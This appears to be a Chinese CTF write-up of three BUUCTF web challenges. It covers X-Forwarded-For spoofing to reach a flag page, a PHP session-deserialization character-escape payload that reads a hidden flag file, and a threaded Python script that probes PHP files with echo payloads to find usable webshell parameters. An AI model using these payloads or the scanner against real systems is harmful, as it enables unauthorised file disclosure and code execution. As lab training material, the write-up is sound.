buu做题(9)

news2024/11/15 17:05:13

[MRCTF2020]PYWebsite

有个二维码
在这里插入图片描述扫了一下啊二维码
在这里插入图片描述

   function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
    }

访问一下flag.php

在这里插入图片描述
既然自己可以看到flag, 尝试一下 伪造请求头 X-Forwarded-For: 127.0.0.1
直接就给了flag
在这里插入图片描述

[安洵杯 2019]easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

审计一下代码:

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

会将匹配到的数组里面的内容替换为空 ,

extract() 函数从数组中将变量导入到当前的符号表, 存在变量覆盖的作用

$function 赋值不用的值进行不同的操作,

$function == 'show_image' 存在一个反序列化的操作, file_get_contents 可以读取文件内容

$function == 'phpinfo'里面可以找到一个 flag的文件名字
d0g3_f1ag.php
在这里插入图片描述

$serialize_info = filter(serialize($_SESSION)); 经过 filter()过滤, 会存在一个反序列化的逃逸

echo file_get_contents(base64_decode($userinfo['img'])) 利用字符逃逸, 构造相应的img 的值为 d0g3_f1ag.php的base64编码ZDBnM19mMWFnLnBocA==

写个代码构造一下

<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION['user']='flagflagflagflagflagphp';
$_SESSION['function']='";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

// s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="
$serialize_info = filter(serialize($_SESSION));

echo $serialize_info;

var_dump(unserialize($serialize_info));
$userinfo=unserialize($serialize_info);
var_dump(base64_decode($userinfo['img']));

可以指向相应的路径, 读取文件
在这里插入图片描述

感觉构造的也没毛病啊, 怎么显示这个啊, 直接用网上的payload
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
也是这个页面, 不知道为啥
在这里插入图片描述

不过看后面, 应该会显示, 只需要把后面img 的值改一下相应的base64编码就是, 数字好像都没变
在这里插入图片描述
后面抓包上传就可以了 ,但是还是有点不理解为什么一定要加上 s:1:"1";s:1:"2" ,不加就不行,
感觉加上这个好像也没啥意义啊
在这里插入图片描述

[强网杯 2019]高明的黑客

在这里插入图片描述下载源码, 里面有几千个php文件, 有很多shell, 但很多都没用, 需要写脚本辨别

https://blog.csdn.net/a3320315/article/details/102945940

学习一下别人的脚本:

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  			#这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()												
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

直接将文件放到部署 phpstudy 上, 不到两分钟就测出来了结果
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/d958f8fc4daa4b289b4bbe76093f2cb3.png

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1956737.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C语言报错已解决】“Undefined Reference”

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引言&#xff1a; 在开发过程中&#xff0c;我们经常会遇到各种编译错误或运行时错误。其中&#xff0c;“Undefined Referenc…

JavaFX布局-AnchorPane

JavaFX布局-AnchorPane 常用属性padding 实现方式Javafxml 将子节点锚定到容器的边界上&#xff0c;指定子节点相对于 AnchorPane 的四个边界&#xff08;上、下、左、右&#xff09;的距离适合宽高固定的一些表单如果允许最大化&#xff0c;拖动大小&#xff0c;需要自己计算子…

(面试必看!)一些和多线程相关的面试考点

文章导读 引言考点1. CAS 指令&#xff08;重点&#xff09;一、什么是CAS二、CAS 的优点三、CAS 的缺点四、ABA问题五、相关面试题 考点2. 信号量&#xff08;semaphore&#xff09;一、基本概念二、信号量的主要操作三、信号量的应用四、相关面试题 考点3、CountDownLatch 类…

万亿赛道 !二十届三中全会关于大规模设备更新措施深度解读 2024 !

第二十届三中全会审议通过《中共中央关于进一步全面深化改革、推进中国式现代化的决定》&#xff0c;涵盖300多项重要改革举措。总体而言&#xff0c;本次会议在财税体制改革、金融体制改革、统一大市场等方面做出了重点部署。此外&#xff0c;本次新增“高质量发展体制机制”作…

苹果手机丢了如何定位?3个技巧教你解决

在这个移动互联网高度发达的时代&#xff0c;苹果手机已成为我们日常生活中不可或缺的伴侣。然而&#xff0c;手机丢失的风险也随之增加。一旦手机不幸落入他人之手&#xff0c;不仅财产安全堪忧&#xff0c;个人隐私也可能面临泄露风险。那么&#xff0c;手机丢了如何定位呢&a…

【代码随想录训练营第42期 Day7打卡 LeetCode 454.四数相加II 383. 赎金信 15. 三数之和 18. 四数之和

目录 一、做题心得 二、题目及题解 454.四数相加II 题目链接 题解 383. 赎金信 题目链接 题解 15. 三数之和 题目链接 题解 18. 四数之和 题目链接 题解 三、小结 一、做题心得 今天是代码随想录训练营打卡的第七天&#xff0c;做的也是同昨天一样的哈希表部分…

电源防反接电路设计——NMOS管

电源电压接入正确时&#xff0c;由于MOS管中的寄生二极管的存在&#xff0c;从而使得MOS管的Vgs电压为输入电压减去寄生二极管压降电压0.7V&#xff0c;这个电压是大于MOS开关导通的阈值电压&#xff0c;从而使MOS管导通&#xff0c;导通后相当于寄生二极管被MOS管导通短路&…

HVV | .NET 攻防工具库,值得您拥有!

01阅读须知 此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等&#xff08;包括但不限于&#xff09;进行检测或维护参考&#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失&#xf…

Python:随机数、随机选择的应用

step1:导入 导入的random相当于是创建了random文件里的的一个对象 import random random() 产生0~1随机数 randint(a,b)产生a~b的整数 闭区间&#xff0c;可以取到a,b random.choice(touple_name)从touple_name&#xff08;数组、列表..&#xff09;中随机选择元素 import rand…

代码的魔力:Jupyter Notebook从零开始的探索之旅

1. Jupyter Notebook&#xff1a;探索无限的可能 1.1 Jupyter Notebook的简介 Jupyter Notebook是一个开源的Web应用程序&#xff0c;让你能够创建和共享文档&#xff0c;这些文档可以包含实时代码、数学方程、可视化以及叙述性文本。其名字来源于它支持的三种核心编程语言&am…

【管理咨询宝藏147】顶级人力咨询公司创业公司股权与激励模式设计方案

【管理咨询宝藏147】顶级人力咨询公司创业公司股权与激励模式设计方案 【格式】PDF版本 【关键词】薪酬激励、股权设计、股权架构 【核心观点】 - 价值分享型的机制的激励导向非常明确&#xff0c;引导激励对象高度关注财务指标的达成。个别情况下&#xff0c;公司考虑到指标结…

【数据结构】逆波兰计算器的分析和实现

思路分析 从左至右扫描表达式&#xff0c;遇到数字时&#xff0c;将数字压入堆栈&#xff0c;遇到运算符时&#xff0c;弹出栈顶的两个数&#xff0c;用运算符对他们做相应的计算&#xff08;栈顶元素和次顶元素&#xff09;&#xff0c;并将结果入栈&#xff1b;重复上述过程…

day12-文件属性

01.知识点回顾 文件的详细属性 1.inode号->磁盘1.df -i ->inode内存2.df -h ->磁盘内存 2.文件的属性- 普通文件d 目录l 软连接->win的快捷方式c 字节文件->win驱动文件b 硬件/dev/null$? 判断上一条命令执行结果/dev/zero 3.权限rwxrwxrwxr 读w 写x 执行 4.硬…

前端工程化11-webpack常见插件

1、webpack的插件Plugin 刚才我们也讲解了下&#xff0c;我们对webpack路径的一个处理&#xff0c;处理的话包括别名的配置&#xff0c;模块是如何找到并加载的&#xff0c;总的来说到现在webpack这个配置到现在来说还是相当的麻烦的&#xff0c;但是目前来说我们讲的这些东西…

重生奇迹MU自由选择个性大师之路

自由选择大师技能 每一个大师职业都拥有三条大师技能树&#xff0c;每一条大师技能树对职业加强的侧重点各不相同。玩家可以根据自己喜欢专一选择&#xff0c;一条路走到底&#xff1b;当然也可以同时兼修两条或者三条技能树&#xff0c;做到雨露均沾。每一种选择都没有绝对的…

Python 环境管理大师:Virtualenv

文章目录 **Python 环境管理大师&#xff1a;Virtualenv****第一部分&#xff1a;背景介绍****第二部分&#xff1a;Virtualenv 是什么&#xff1f;****第三部分&#xff1a;如何安装 Virtualenv&#xff1f;****第四部分&#xff1a;Virtualenv 基本使用方法****第五部分&…

查找的介绍

目录 一、基本介绍 1、查找方法有&#xff1a; 2、在Python中&#xff0c;我们应当掌握两种常见的查找方法&#xff1a; 二、顺序查找 1、顺序查找案例 2、扩展&#xff1a; 三、二分查找 1、二分查找案例 2、二分查找的思路分析 3、代码实现 一、基本介绍 1、查找方…

Pytorch框架之神经网络

一、全连接神经网络的整体结构 二、全连接神经网络的单元结构 找出一组w,b使得结果最优 三、常见激活函数 四、前向传播 学习率是指训练模型时每次迭代更新模型参数的步长。 五、梯度下降法 六、反向传播计算 七、总结 1、准备数据 2、搭建模型 3、开始训练(设置学习率、…

springboot高校计算机专业学习资料共享平台-计算机毕业设计源码24752

摘 要 在信息化、数字化的时代背景下&#xff0c;教育资源的共享与高效利用已成为推动教育现代化的关键。高校作为培养未来人才的重要基地&#xff0c;其计算机专业的学习资料共享显得尤为重要。这些资料不仅涵盖了基础理论知识&#xff0c;还涉及前沿技术、实践项目和行业经验…

Java --方法引用

方法引用 把已经有的方法拿过来用&#xff0c;当做函数式接口中抽象方法的方法体 1.什么是方法引用? 当做函数式接口中抽象方法的方法体把已经存在的方法拿过来用&#xff0c; 2.::是什么符号? 方法引用符 3.方法引用时要注意什么? 需要有函数式接口 被引用方法必须已经存在…